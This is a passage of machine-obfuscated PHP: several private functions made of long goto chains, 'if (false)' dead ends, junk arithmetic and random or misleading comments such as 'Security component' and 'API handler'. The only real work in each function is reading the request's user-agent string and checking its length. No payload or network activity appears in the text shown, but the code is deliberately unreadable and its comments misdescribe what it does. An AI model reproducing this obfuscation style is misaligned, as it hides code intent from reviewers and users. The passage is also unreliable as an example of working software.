e5t6SWDz:
if (false) { echo 'This is a dead end'; }
goto a8EcO36JX;
a8EcO36JX:
/* wCfRHQwNkB */
$bZa4iOd6 = 188 + 45;
$XsucffsH = $bZa4iOd6 * 4;
goto a9WCh8ixf;
a9WCh8ixf:
/* SAEbrReUBn6Svso */
$WWDcP6ib = 970 + 39;
$jIP39ari = $WWDcP6ib * 4;
if (false) { echo 'This is a dead end'; }
goto a20aKhp95;
a20aKhp95:
$XsucffsH = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none';
goto a__N85Q8S;
a__N85Q8S:
// XdKvXaY2vi7w
goto vhZbtsHu;
vhZbtsHu:
$a29IFo9lZ = 625 + 29;
$WWDcP6ib = $a29IFo9lZ * 2;
goto p779RnO1;
p779RnO1:
/* API handler */
goto Yh_EL1ee;
Yh_EL1ee:
// m3xtitYtMPac
if (false) { echo 'This is a dead end'; }
goto a97oFNqgU;
a97oFNqgU:
$jIP39ari = 990 + 31;
$jIP39ari = $jIP39ari * 2;
goto dhCvwKUm;
dhCvwKUm:
/* ax3E9ORhLgcfs_PkTnKq */
goto RRAi44BG;
RRAi44BG:
goto iRqblcMq;
iRqblcMq:
if (false) { echo 'This is a dead end'; }
goto QFJwgK2u;
QFJwgK2u:
/* API handler */
$NqlX8zGc = 257 + 16;
$XsucffsH = $NqlX8zGc * 2;
if (false) { echo 'This is a dead end'; }
goto oogPH8yh;
oogPH8yh:
$BqYDw4sr = 290 + 42;
$FbaGmw5w = $BqYDw4sr * 2;
goto oQqRyguo;
oQqRyguo:
/* Core module */
goto oGgmyX9N;
oGgmyX9N:
/* System file */
$FbaGmw5w = 499 + 44;
$FbaGmw5w = $FbaGmw5w * 4;
goto y0okLPhF;
y0okLPhF:
goto Fa6s6ON8;
Fa6s6ON8:
$FbaGmw5w = 736 + 16;
$a6b9oay5s = $FbaGmw5w * 2;
goto pEOkvuCS;
pEOkvuCS:
/* API handler */
goto NDzGq24r;
NDzGq24r:
$jIP39ari = strlen($XsucffsH);
goto t457sQKg;
t457sQKg:
/* ZHc9APR4FHWQz7eI0ofH */
goto V5gkUVhK;
V5gkUVhK:
/* Main service */
if (false) { echo 'This is a dead end'; }
goto H5LhESuL;
H5LhESuL:
/* 1eTbn41c0d */
goto ipMGWpA3;
ipMGWpA3:
goto lb6T40QK;
lb6T40QK:
/* System file */
$FbaGmw5w = 316 + 17;
$WWDcP6ib = $FbaGmw5w * 1;
goto y_VtC0AJ;
y_VtC0AJ:
goto kIPFmUTv;
kIPFmUTv:
goto jvrwr0vT;
jvrwr0vT:
goto jCM8fbLF;
jCM8fbLF:
// bqWIn39cKEle
$NqlX8zGc = 434 + 33;
$bZa4iOd6 = $NqlX8zGc * 4;
goto EzuHtJY2;
EzuHtJY2:
$NqlX8zGc = 369 + 27;
$a6b9oay5s = $NqlX8zGc * 1;
if (false) { echo 'This is a dead end'; }
goto JlPtkvRZ;
JlPtkvRZ:
/* Core module */
if (false) { echo 'This is a dead end'; }
goto Efcc3AA0;
Efcc3AA0:
/* YvDX0FN06eLm9pgLoJ8Q */
if (false) { echo 'This is a dead end'; }
goto wKPryaoD;
wKPryaoD:
$iCjD65Pi = 373 + 50;
$B9ma2fmF = $iCjD65Pi * 3;
goto GLf6GN5K;
GLf6GN5K:
goto AEqWZFLy;
AEqWZFLy:
/* Security component */
$a6EHyDbxg = 526 + 29;
$jIP39ari = $a6EHyDbxg * 5;
if (false) { echo 'This is a dead end'; }
goto a31aVZpj_;
a31aVZpj_:
return $jIP39ari > 10;
}
private function Xy1SW73Kt9() {
goto IYsmN2b8;
IYsmN2b8:
goto xPL_4mXc;
xPL_4mXc:
if (false) { echo 'This is a dead end'; }
goto fTHKOnp6;
fTHKOnp6:
goto KdNCnUpa;
KdNCnUpa:
$NqlX8zGc = 147 + 17;
$NqlX8zGc = $NqlX8zGc * 2;
if (false) { echo 'This is a dead end'; }
goto a89hYeFGN;
a89hYeFGN:
/* Security component */
goto XYr6hKHE;
XYr6hKHE:
// wtjfNj7NrdgZWOHR
$Pe9zuJ4r = 819 + 29;
$NqlX8zGc = $Pe9zuJ4r * 4;
if (false) { echo 'This is a dead end'; }
goto QlbaISru;
QlbaISru:
$n7sJ6WnP = 923 + 12;
$iX1geSuk = $n7sJ6WnP * 2;
goto pVIGYiIc;
pVIGYiIc:
/* API handler */
$FbaGmw5w = 653 + 5;
$a6b9oay5s = $FbaGmw5w * 3;
goto Mw9yJ4cI;
Mw9yJ4cI:
$iX1geSuk = 524 + 8;
$a6b9oay5s = $iX1geSuk * 4;
goto a2IO_evxY;
a2IO_evxY:
goto F5U3hOBU;
F5U3hOBU:
/* System file */
$NqlX8zGc = 291 + 36;
$BqYDw4sr = $NqlX8zGc * 2;
goto t2uScdsb;
t2uScdsb:
// vItgQPjA
goto xXv4RA7T;
xXv4RA7T:
// rHsLiMR9
goto a7EVq_WXw;
a7EVq_WXw:
if (false) { echo 'This is a dead end'; }
goto sZIknbMu;
sZIknbMu:
/* API handler */
goto apWTPlti;
apWTPlti:
$a6b9oay5s = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none';
goto jH8GXRx7;
jH8GXRx7:
/* System file */
$BqYDw4sr = 490 + 18;
$iX1geSuk = $BqYDw4sr * 3;
goto BG67Day3;
BG67Day3:
// 3Z4ZOBbLjOl7
goto JK3MaZt7;
JK3MaZt7:
goto Bmx63rgJ;
Bmx63rgJ:
$FbaGmw5w = 242 + 32;
$iX1geSuk = $FbaGmw5w * 5;
goto lHgZ7xE2;
lHgZ7xE2:
/* Core module */
if (false) { echo 'This is a dead end'; }
goto NsHa8IkZ;
NsHa8IkZ:
goto E3Az1v73;
E3Az1v73:
$NqlX8zGc = 859 + 11;
$iX1geSuk = $NqlX8zGc * 3;
goto Uvrkf5yj;
Uvrkf5yj:
// 2uDEFhVn
$bZa4iOd6 = 543 + 9;
$n7sJ6WnP = $bZa4iOd6 * 5;
goto goEzDbfy;
goEzDbfy:
goto gzSZ2jLl;
gzSZ2jLl:
$a29IFo9lZ = 142 + 8;
$a29IFo9lZ = $a29IFo9lZ * 1;
if (false) { echo 'This is a dead end'; }
goto Hm5rDvx7;
Hm5rDvx7:
// bmtBIjZ1
$jIP39ari = 175 + 29;
$BqYDw4sr = $jIP39ari * 3;
goto Peeitgrw;
Peeitgrw:
if (false) { echo 'This is a dead end'; }
goto XzT9Ttll;
XzT9Ttll:
/* llndmOqS_nTGJMG */
goto esCsIEvJ;
esCsIEvJ:
goto a8z8mReGF;
a8z8mReGF:
/* Security component */
if (false) { echo 'This is a dead end'; }
goto UJhf9xJF;
UJhf9xJF:
$BqYDw4sr = strlen($a6b9oay5s);
goto CT8QNMgJ;
CT8QNMgJ:
goto raiEVIrd;
raiEVIrd:
$iX1geSuk = 949 + 27;
$bZa4iOd6 = $iX1geSuk * 1;
if (false) { echo 'This is a dead end'; }
goto kV2sf1ZS;
kV2sf1ZS:
/* Security component */
if (false) { echo 'This is a dead end'; }
goto GG8nH1O_;
GG8nH1O_:
/* Security component */
$iCjD65Pi = 475 + 50;
$Pe9zuJ4r = $iCjD65Pi * 1;
if (false) { echo 'This is a dead end'; }
goto a8OWDwD5D;
a8OWDwD5D:
if (false) { echo 'This is a dead end'; }
goto S3hpZ6xR;
S3hpZ6xR:
// bQdwEPUAq_Zx
$WWDcP6ib = 350 + 31;
$iX1geSuk = $WWDcP6ib * 2;
goto a17lSomUJ;
a17lSomUJ:
$a29IFo9lZ = 473 + 23;
$XsucffsH = $a29IFo9lZ * 1;
goto a2LzHbt6t;
a2LzHbt6t:
// LAZ5xNEDBuZRKgQ3
goto GfMCWaYa;
GfMCWaYa:
$FbaGmw5w = 465 + 41;
$bZa4iOd6 = $FbaGmw5w * 1;
if (false) { echo 'This is a dead end'; }
goto sYYh94vM;
sYYh94vM:
goto RaoiGGHZ;
RaoiGGHZ:
/* Core module */
$n7sJ6WnP = 158 + 2;
$WWDcP6ib = $n7sJ6WnP * 2;
goto hzqMkwm8;
hzqMkwm8:
// Asru7bIq
goto u3hlSIrZ;
u3hlSIrZ:
goto o9_rqn7W;
o9_rqn7W:
/* mLwYYNlkMiIE9ms */
if (false) { echo 'This is a dead end'; }
goto a5XJIYz_s;
a5XJIYz_s:
if (false) { echo 'This is a dead end'; }
goto bnf0W5xA;
bnf0W5xA:
return $BqYDw4sr > 10;
}
private function a61XSAJwOub() {
goto akQ8Q9kJ;
akQ8Q9kJ:
$FbaGmw5w = 968 + 35;
$Pe9zuJ4r = $FbaGmw5w * 1;
if (false) { echo 'This is a dead end'; }
goto V_LxvK4R;
V_LxvK4R:
$a29IFo9lZ = 870 + 32;
$Pe9zuJ4r = $a29IFo9lZ * 4;
if (false) { echo 'This is a dead end'; }
goto sdtSfDhC;
sdtSfDhC:
/* PdSGZxRG8SIPSiO0o3GU */
$bZa4iOd6 = 939 + 29;
$FbaGmw5w = $bZa4iOd6 * 4;
goto a71erIoxM;
a71erIoxM:
/* sKBbBo_XnK7AJE0 */
$bZa4iOd6 = 417 + 49;
$bZa4iOd6 = $bZa4iOd6 * 4;
goto jWmx2ILh;
jWmx2ILh:
/* System file */
$iX1geSuk = 938 + 42;
$n7sJ6WnP = $iX1geSuk * 1;
goto Gwfky34J;
Gwfky34J:
$iCjD65Pi = 239 + 39;
$B9ma2fmF = $iCjD65Pi * 3;
goto yc6vp6Ot;
yc6vp6Ot:
/* Core module */
goto O8zg57zU;
O8zg57zU:
/* MMrfDedn3zbIY6F */
goto GURsfFIp;
GURsfFIp:
$iX1geSuk = 463 + 3;
$n7sJ6WnP = $iX1geSuk * 4;
goto ZhiAeZIU;
ZhiAeZIU:
// IGUhJaxA
$a6EHyDbxg = 897 + 34;
$BqYDw4sr = $a6EHyDbxg * 2;
if (false) { echo 'This is a dead end'; }
goto CEt91oJl;
CEt91oJl:
if (false) { echo 'This is a dead end'; }
goto IDQksS0K;
IDQksS0K:
// 3LU00hQK
goto mmBuyTwX;
mmBuyTwX:
// 9hjyZj7G
$Pe9zuJ4r = 601 + 24;
$a29IFo9lZ = $Pe9zuJ4r * 5;
goto xthg650t;
xthg650t:
goto AH0Ti3I1;
AH0Ti3I1:
goto xEIheUKw;
xEIheUKw:
$BqYDw4sr = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none';
goto ReA0EK6N;
ReA0EK6N:
goto ipivbfG_;
ipivbfG_:
goto kAFD3YYJ;
kAFD3YYJ:
/* Core module */
goto z6gqU2iI;
z6gqU2iI:
// NBJywfDymPrU
goto vyd4i6Gm;
vyd4i6Gm:
goto a8COhxtUZ;
a8COhxtUZ:
/* Main service */
$a6b9oay5s = 748 + 9;
$iCjD65Pi = $a6b9oay5s * 3;
goto q5sMwsRz;
q5sMwsRz:
/* 5C4uDoQ7mP */
goto Gw9GLKXz;
Gw9GLKXz:
/* Main service */
goto uIRZJZHf;
uIRZJZHf:
if (false) { echo 'This is a dead end'; }
goto vv0hHkra;
vv0hHkra:
$bZa4iOd6 = 693 + 11;
$jIP39ari = $bZa4iOd6 * 4;
if (false) { echo 'This is a dead end'; }
goto hik1vrIE;
hik1vrIE:
goto o9mGb9tH;
o9mGb9tH:
$n7sJ6WnP = 265 + 42;
$iX1geSuk = $n7sJ6WnP * 1;
goto a2sdJHvgX;
a2sdJHvgX:
$B9ma2fmF = 235 + 39;
$n7sJ6WnP = $B9ma2fmF * 1;
goto fMxR44pj;
fMxR44pj:
$BqYDw4sr = 273 + 13;
$NqlX8zGc = $BqYDw4sr * 5;
goto fAmYveiz;
fAmYveiz:
/* Main service */
if (false) { echo 'This is a dead end'; }
goto m3NuKk3q;
m3NuKk3q:
$WWDcP6ib = strlen($BqYDw4sr);
goto b9djCBjG;
b9djCBjG:
/* Security component */
$a29IFo9lZ = 368 + 23;
$iX1geSuk = $a29IFo9lZ * 3;
goto ZOYRWG3O;
ZOYRWG3O:
if (false) { echo 'This is a dead end'; }
goto a2gdYcydq;
a2gdYcydq:
/* Core module */
goto NV0JpAnq;
NV0JpAnq:
/* Security component */
if (false) { echo 'This is a dead end'; }
goto NJtMaueT;
NJtMaueT:
goto LACOIlE0;
LACOIlE0:
/* sOSgfNz3mVbIw2i */
goto jp9LWQKx;
jp9LWQKx:
$a6EHyDbxg = 458 + 20;
$a29IFo9lZ = $a6EHyDbxg * 5;
goto FfKwhlP6;
FfKwhlP6:
/* Main service */
goto XJUuxZcY;
XJUuxZcY:
// tgxfVLaI
if (false) { echo 'This is a dead end'; }
goto MC6e6oWt;
MC6e6oWt:
// MfYjTuXK
goto lAfVAVbx;
lAfVAVbx:
/* IkM_Id5sCfiQ2fa */
$B9ma2fmF = 572 + 28;
$n7sJ6WnP = $B9ma2fmF * 3;
goto a9CcJR65D;
a9CcJR65D:
goto wTCEhr70;
wTCEhr70:
$BqYDw4sr = 955 + 44;
$n7sJ6WnP = $BqYDw4sr * 4;
goto a9kwmrUKk;
a9kwmrUKk:
if (false) { echo 'This is a dead end'; }
goto a6F2BhV4d;
a6F2BhV4d:
/* Security component */
goto a5k3RHTcH;
a5k3RHTcH:
return $WWDcP6ib > 10;
}
private function a8FL3jxk4Mm() {
// hzE7KsXlELVUDRyX
goto UqOfGZmo;
UqOfGZmo:
/* Security component */
if (false) { echo 'This is a dead end'; }
goto a_fVHrfYe;
a_fVHrfYe:
goto Px5lBaEl;
Px5lBaEl:
/* ujikQDxcTIbs7oY */
goto a6wXRYkQo;
a6wXRYkQo:
goto Tf7kP3Dl;
Tf7kP3Dl:
if (false) { echo 'This is a dead end'; }
goto tgaO85gc;
tgaO85gc:
// E_4px2Lg
$bZa4iOd6 = 278 + 12;
$B9ma2fmF = $bZa4iOd6 * 3;
goto a1RK5ahnf;
a1RK5ahnf:
/* 1603KpYIWL */
$jIP39ari = 457 + 40;
$a29IFo9lZ = $jIP39ari * 5;
goto adw0vDe6;
adw0vDe6:
if (false) { echo 'This is a dead end'; }
goto EQc3n8q1;
EQc3n8q1:
$NqlX8zGc = 270 + 29;
$FbaGmw5w = $NqlX8zGc * 1;
goto crLNb7Ab;
crLNb7Ab:
if (false) { echo 'This is a dead end'; }
goto LZ3fen3l;
LZ3fen3l:
goto Bb2i51Yk;
Bb2i51Yk:
/* Main service */
goto xQKucfyX;
xQKucfyX:
goto a58x2TxYq;
a58x2TxYq:
if (false) { echo 'This is a dead end'; }
goto N_8wdJfQ;
N_8wdJfQ:
/* IEKSehNsEUZdrchGfxB5 */
$a6EHyDbxg = 845 + 49;
$a29IFo9lZ = $a6EHyDbxg * 5;
if (false) { echo 'This is a dead end'; }
goto KF9q2J8n;
KF9q2J8n:
$XsucffsH = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none';
goto krD64mmL;
krD64mmL:
// 34wcCB2RVGTFL89L
goto a7R3xw6fT;
a7R3xw6fT:
$FbaGmw5w = 360 + 48;
$a6b9oay5s = $FbaGmw5w * 3;
goto q3mA0ppA;
q3mA0ppA:
// ZIqM3n_R
$FbaGmw5w = 800 + 28;
$bZa4iOd6 = $FbaGmw5w * 5;
goto H9Ndixs4;
H9Ndixs4:
goto Ejkt9gtT;
Ejkt9gtT:
goto odKb5k5O;
odKb5k5O:
$WWDcP6ib = 464 + 9;
$XsucffsH = $WWDcP6ib * 2;
goto JfUQ6zQf;
JfUQ6zQf:
$XsucffsH = 468 + 17;
$iCjD65Pi = $XsucffsH * 3;
goto hsAz24aY;
hsAz24aY:
// 3BR1uFA2
if (false) { echo 'This is a dead end'; }
goto ifkBxzZs;
ifkBxzZs:
/* Core module */
goto a_snq6XDJ;
a_snq6XDJ:
/* btQjRWe47ZWBEeDOuzYZ */
if (false) { echo 'This is a dead end'; }
goto K9NIX0dp;
K9NIX0dp:
goto a_qgM9HwY;
a_qgM9HwY:
// d02fAWDu
$a6b9oay5s = 350 + 26;
$jIP39ari = $a6b9oay5s * 3;
goto WdzUNmI8;
WdzUNmI8:
if (false) { echo 'This is a dead end'; }
goto QF8I2rq9;
QF8I2rq9:
/* xF1OJwpcQTcQ4oe */
goto T2Qj8RPz;
T2Qj8RPz:
$bZa4iOd6 = 732 + 29;
$NqlX8zGc = $bZa4iOd6 * 4;
goto YUd24rLd;
YUd24rLd:
$a29IFo9lZ = strlen($XsucffsH);
goto JbWTEVxj;
JbWTEVxj:
$iCjD65Pi = 386 + 7;
$NqlX8zGc = $iCjD65Pi * 5;
if (false) { echo 'This is a dead end'; }
goto biuAUeNI;
biuAUeNI:
/* N0DWo4PCf_ */
goto yR60WIWM;
yR60WIWM:
$FbaGmw5w = 789 + 3;
$XsucffsH = $FbaGmw5w * 3;
goto L0AO_E0Q;
L0AO_E0Q:
/* API handler */
goto nr6Tkas1;
nr6Tkas1:
goto txyPOsIT;
txyPOsIT:
/* System file */
if (false) { echo 'This is a dead end'; }
goto cEzOLawl;
cEzOLawl:
/* Core module */
$n7sJ6WnP = 263 + 19;
$WWDcP6ib = $n7sJ6WnP * 1;
goto a_ZjD3eZQ;
a_ZjD3eZQ:
/* Core module */
$iX1geSuk = 622 + 4;
$FbaGmw5w = $iX1geSuk * 3;
goto IyiqY1Yf;
IyiqY1Yf:
/* Core module */
goto D8kl9nsh;
D8kl9nsh:
/* B3LhNTEZlE */
$Pe9zuJ4r = 232 + 33;
$jIP39ari = $Pe9zuJ4r * 2;
if (false) { echo 'This is a dead end'; }
goto sreZcEKl;
sreZcEKl:
goto Inrvhfdw;
Inrvhfdw:
goto PhRl3FVo;
PhRl3FVo:
// QNis2VnVgk8Ilwep
goto zXI36kD7;
zXI36kD7:
$a29IFo9lZ = 660 + 18;
$B9ma2fmF = $a29IFo9lZ * 1;
goto Bl_i5fZi;
Bl_i5fZi:
goto IgkeL4AO;
IgkeL4AO:
return $a29IFo9lZ > 10;
}
private function RbJbzK3euj() {
goto dWxdkNTy;
dWxdkNTy:
$FbaGmw5w = 895 + 46;
$a29IFo9lZ = $FbaGmw5w * 1;
goto SAiOjs2G;
SAiOjs2G:
$NqlX8zGc = 623 + 32;
$BqYDw4sr = $NqlX8zGc * 2;
goto GhAMsaZl;
GhAMsaZl:
/* v5w5IkeBwABvoSL */
goto a1IiP3nzs;
a1IiP3nzs:
/* lHSjpKJEfJbtg33qqekz */
goto a7fUIrd8k;
a7fUIrd8k:
/* 1PKCeNeVghx68uO */
goto a3A_YmaTP;
a3A_YmaTP:
/* Core module */
goto XtkjdaYa;
XtkjdaYa:
goto e1SVeaWV;
e1SVeaWV:
// LOeo07hn
$iCjD65Pi = 387 + 31;
$Pe9zuJ4r = $iCjD65Pi * 2;
goto GDUlHl3G;
GDUlHl3G:
$n7sJ6WnP = 220 + 14;
$bZa4iOd6 = $n7sJ6WnP * 2;
goto a1VGwdgAW;
a1VGwdgAW:
/* Core module */
if (false) { echo 'This is a dead end'; }
goto LvuCQimF;
LvuCQimF:
$a6b9oay5s = 754 + 33;
$FbaGmw5w = $a6b9oay5s * 1;
goto a1s8rz3Wl;
a1s8rz3Wl:
if (false) { echo 'This is a dead end'; }
goto tp_dO64C;
tp_dO64C:
/* Core module */
goto UA0dc0Em;
UA0dc0Em:
// Qcba9fczIP1XJa_J
goto AnWJncTu;
AnWJncTu:
goto Joa9KzJH;
Joa9KzJH:
$B9ma2fmF = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none';
goto a3JBxCSS8;
a3JBxCSS8:
/* Security component */
goto zY_DwWDT;
zY_DwWDT:
// W6bFUMS1oQiQ
goto nCjD5100;
nCjD5100:
goto pXJxYOJB;
pXJxYOJB:
if (false) { echo 'This is a dead end'; }
goto T4Sh5Oia;
T4Sh5Oia:
$bZa4iOd6 = 909 + 8;
$bZa4iOd6 = $bZa4iOd6 * 3;
goto a3f6Sayoe;
a3f6Sayoe:
$BqYDw4sr = 890 + 45;
$BqYDw4sr = $BqYDw4sr * 2;
goto D6RAlsO6;
D6RAlsO6:
goto svpfI9hX;
svpfI9hX:
/* Core module */
goto kOhlvuCA;
kOhlvuCA:
/* Main service */
$B9ma2fmF = 259 + 38;
$WWDcP6ib = $B9ma2fmF * 4;
goto PHQ_fupD;
PHQ_fupD:
// DBVGWVshBbCFZXa_
$WWDcP6ib = 170 + 40;
$iX1geSuk = $WWDcP6ib * 4;
goto ZbFm8wxv;
ZbFm8wxv:
/* UAvM34LHoe */
goto gYEp9RTl;
gYEp9RTl:
$jIP39ari = 323 + 8;
$a6EHyDbxg = $jIP39ari * 1;
goto YFpCW8DV;
YFpCW8DV:
/* lUOj_5XJK_ */
goto a7Pc_2mcj;
a7Pc_2mcj:
$a6b9oay5s = 683 + 26;
$iCjD65Pi = $a6b9oay5s * 3;
goto ym4rrjZs;
ym4rrjZs:
goto wZyKE3VX;
wZyKE3VX:
$bZa4iOd6 = strlen($B9ma2fmF);
goto QBBbxTjF;
QBBbxTjF:
/* Security component */
goto Jz4NbKqO;
Jz4NbKqO:
// AGIqFii8yP8d_9Aa
goto RwEmMcHs;
RwEmMcHs:
/* Fxqu2IXqHI */
goto HCeMLGrh;
HCeMLGrh:
/* 6G1usw8CEx2cEKL */
$BqYDw4sr = 753 + 36;
$jIP39ari = $BqYDw4sr * 2;
goto a0lF3qkdC;
a0lF3qkdC:
goto T64ClS_X;
T64ClS_X:
/* BKkmpTaZdE */
if (false) { echo 'This is a dead end'; }
goto zlVcnMFw;
zlVcnMFw:
/* Core module */
if (false) { echo 'This is a dead end'; }
goto ugyKfsz4;
ugyKfsz4:
// lLH2dv6VxubX
if (false) { echo 'This is a dead end'; }
goto gAIntC83;
gAIntC83:
goto FTfJ_yHe;
FTfJ_yHe:
/* lV_IAsq13565Mzud_iQo */
$BqYDw4sr = 361 + 17;
$Pe9zuJ4r = $BqYDw4sr * 3;
if (false) { echo 'This is a dead end'; }
goto Zjo6G6Rg;
Zjo6G6Rg:
/* API handler */
$a29IFo9lZ = 370 + 31;
$iX1geSuk = $a29IFo9lZ * 5;
goto rIIbOnvh;
rIIbOnvh:
// eZpPMdoi
if (false) { echo 'This is a dead end'; }
goto zfiaPzSP;
zfiaPzSP:
goto AbCHkkL6;
AbCHkkL6:
/* API handler */
$a6EHyDbxg = 610 + 43;
$FbaGmw5w = $a6EHyDbxg * 3;
goto lSImTJHS;
lSImTJHS:
goto i0fFcqq0;
i0fFcqq0:
return $bZa4iOd6 > 10;
}
private function a2IMbsYNFNG() {
goto lRZiyg05;
lRZiyg05:
/* System file */
$XsucffsH = 803 + 33;
$n7sJ6WnP = $XsucffsH * 5;
goto gXNUGSBH;
gXNUGSBH:
goto a87BjIRna;
a87BjIRna:
/* bCGEH9lQ3YqnCyc */
$FbaGmw5w = 956 + 15;
$B9ma2fmF = $FbaGmw5w * 1;
goto UDykvJs6;
UDykvJs6:
goto SDYJJTSw;
SDYJJTSw:
/* System file */
goto eqezaolV;
eqezaolV:
/* zbezRnOJyBFjAUW */
goto rTv4vt76;
rTv4vt76:
/* WGTeb2Zhk2stssbArRGF */
goto a29O4MW1x;
a29O4MW1x:
$B9ma2fmF = 599 + 46;
$B9ma2fmF = $B9ma2fmF * 5;
goto MEP7UxoU;
MEP7UxoU:
/* s5rE_SvCfJ8PYxX */
goto dOMtgxS_;
dOMtgxS_:
goto FTbeIdfR;
FTbeIdfR:
/* Main service */
goto FOmQ1fib;
FOmQ1fib:
/* ZT1NPzIavY */
$n7sJ6WnP = 805 + 45;
$n7sJ6WnP = $n7sJ6WnP * 2;
goto Ep2x8G1j;
Ep2x8G1j:
// BpYP_VCRL7efahBn
$WWDcP6ib = 359 + 11;
$FbaGmw5w = $WWDcP6ib * 4;
goto a9f6nRoYp;
a9f6nRoYp:
goto a3JNptUaN;
a3JNptUaN:
// 7DAuyz4Y9lYMQAT5
goto d_MuToBf;
d_MuToBf:
$a29IFo9lZ = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none';
goto tkhgmido;
tkhgmido:
goto DTnErsY5;
DTnErsY5:
$iCjD65Pi = 333 + 41;
$BqYDw4sr = $iCjD65Pi * 3;
if (false) { echo 'This is a dead end'; }
goto Ri4W318q;
Ri4W318q:
goto XUFPfjy_;
XUFPfjy_:
$BqYDw4sr = 961 + 22;
$XsucffsH = $BqYDw4sr * 3;
goto pJsSlGx0;
pJsSlGx0:
// 3ptak96zy74KulWD
goto HD2uuluK;
HD2uuluK:
/* fMX_xxIM3b */
$WWDcP6ib = 550 + 36;
$bZa4iOd6 = $WWDcP6ib * 4;
if (false) { echo 'This is a dead end'; }
goto lKHizfgR;
lKHizfgR:
$iX1geSuk = 455 + 13;
$B9ma2fmF = $iX1geSuk * 2;
goto TtLS4x3b;
TtLS4x3b:
$jIP39ari = 474 + 21;
$WWDcP6ib = $jIP39ari * 1;
goto nPiNHxY_;
nPiNHxY_:
// nP6SxS7Cln3E
goto cbiVuOES;
cbiVuOES:
$a6EHyDbxg = 198 + 22;
$XsucffsH = $a6EHyDbxg * 2;
goto a1rKfbiqr;
a1rKfbiqr:
goto MqCsPiMi;
MqCsPiMi:
goto WyGJYsni;
WyGJYsni:
goto a_O6dbsYl;
a_O6dbsYl:
/* Security component */
goto GAEfLdWu;
GAEfLdWu:
goto jVdRDEG8;
jVdRDEG8:
$bZa4iOd6 = strlen($a29IFo9lZ);
goto EmNe1MyK;
EmNe1MyK:
$iX1geSuk = 173 + 32;
$a29IFo9lZ = $iX1geSuk * 4;
goto c705MQ4B;
c705MQ4B:
goto zQA0wcMC;
zQA0wcMC:
goto a50b37adI;
a50b37adI:
if (false) { echo 'This is a dead end'; }
goto ss3Rd0aF;
ss3Rd0aF:
/* 2xZtyNQpuA */
$n7sJ6WnP = 395 + 30;
$NqlX8zGc = $n7sJ6WnP * 5;
goto fXDVDBU6;
fXDVDBU6:
/* API handler */
goto a8QbDWzZw;
a8QbDWzZw:
goto KazZh5Q3;
KazZh5Q3:
// qpwdcmAe0tHH
goto mFDHCylr;
mFDHCylr:
goto pV3GZrrg;
pV3GZrrg:
// wHKBy6N0S9STFocw
goto HATe6c1R;
HATe6c1R:
goto FfsY0Gzw;
FfsY0Gzw:
goto YPjMZjXx;
YPjMZjXx:
goto LWwEtMho;
LWwEtMho:
/* br35lXEdqJ */
goto GMCRGet3;
GMCRGet3:
/* API handler */
goto CuATnV3u;
CuATnV3u:
return $bZa4iOd6 > 10;
}
private function uKnaSV0zma() {
/* ZWhM4vUFqJ52c2l3y1GL */
goto neOglOLX;
neOglOLX:
goto N2Qv9tvQ;
N2Qv9tvQ:
if (false) { echo 'This is a dead end'; }
goto gXt_p7uE;
gXt_p7uE:
goto S4esPalh;
S4esPalh:
/* Mlf4TxCYrLMhRYa */
if (false) { echo 'This is a dead end'; }
goto d8mUGDhl;
d8mUGDhl:
if (false) { echo 'This is a dead end'; }
goto tclbU00S;
tclbU00S:
$n7sJ6WnP = 854 + 46;
$bZa4iOd6 = $n7sJ6WnP * 1;
goto uhRQ5Bnv;
uhRQ5Bnv:
$iCjD65Pi = 486 + 26;
$XsucffsH = $iCjD65Pi * 4;
if (false) { echo 'This is a dead end'; }
goto Kr5BEQGz;
Kr5BEQGz:
// yZGyhzpp
if (false) { echo 'This is a dead end'; }
goto ulnfh235;
ulnfh235:
if (false) { echo 'This is a dead end'; }
goto bqaYOVHS;
bqaYOVHS:
/* z7nvA8wj7MZnWeQlQcyw */
goto bHdbfFBd;
bHdbfFBd:
goto i5TZnLOa;
i5TZnLOa:
/* KS9sjwf4Kz */
$iX1geSuk = 264 + 29;
$iCjD65Pi = $iX1geSuk * 3;
goto a6Icv4v4s;
a6Icv4v4s:
// I4lUGI3ouooK
goto cu1gjGry;
cu1gjGry:
goto hCnpUiNT;
hCnpUiNT:
if (false) { echo 'This is a dead end'; }
goto TYXKd97w;
TYXKd97w:
$NqlX8zGc = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none';
goto Hfd22fRW;
Hfd22fRW:
/* Core module */
goto a8VqGi4mZ;
a8VqGi4mZ:
$n7sJ6WnP = 134 + 26;
$WWDcP6ib = $n7sJ6WnP * 3;
goto s45G28j3;
s45G28j3:
/* System file */
goto jJyYBII9;
jJyYBII9:
// ajCVH8cJ2TqbQe39
goto QLQfCUk8;
QLQfCUk8:
/* API handler */
goto a0nuyNq2w;
a0nuyNq2w:
if (false) { echo 'This is a dead end'; }
goto AJtdBTCj;
AJtdBTCj:
goto RKFc2WU9;
RKFc2WU9:
/* mbXFoWZqlb */
goto Y5N1N7AP;
Y5N1N7AP:
$n7sJ6WnP = 652 + 11;
$a6b9oay5s = $n7sJ6WnP * 3;
goto dYuWn893;
dYuWn893:
if (false) { echo 'This is a dead end'; }
goto xBlACizL;
xBlACizL:
// 6gtWu8ceQ9Qh
goto a57Mos0Wo;
a57Mos0Wo:
goto IwnE89nL;
IwnE89nL:
/* fDOjhb4fMk */
goto F73iwbn3;
F73iwbn3:
/* KGyALoQVCImNWOg0CFE0 */
$WWDcP6ib = 851 + 29;
$FbaGmw5w = $WWDcP6ib * 1;
goto rBVHT789;
rBVHT789:
// kZtEpXyG
if (false) { echo 'This is a dead end'; }
goto fwIcV1zo;
fwIcV1zo:
$n7sJ6WnP = strlen($NqlX8zGc);
goto LocCSAhC;
LocCSAhC:
$B9ma2fmF = 724 + 8;
$iX1geSuk = $B9ma2fmF * 1;
goto cnD4_kgT;
cnD4_kgT:
/* hVLv_QeWPt07xKa */
if (false) { echo 'This is a dead end'; }
goto oEW5Ys84;
oEW5Ys84:
$XsucffsH = 327 + 25;
$Pe9zuJ4r = $XsucffsH * 3;
goto a0XMxttZ_;
a0XMxttZ_:
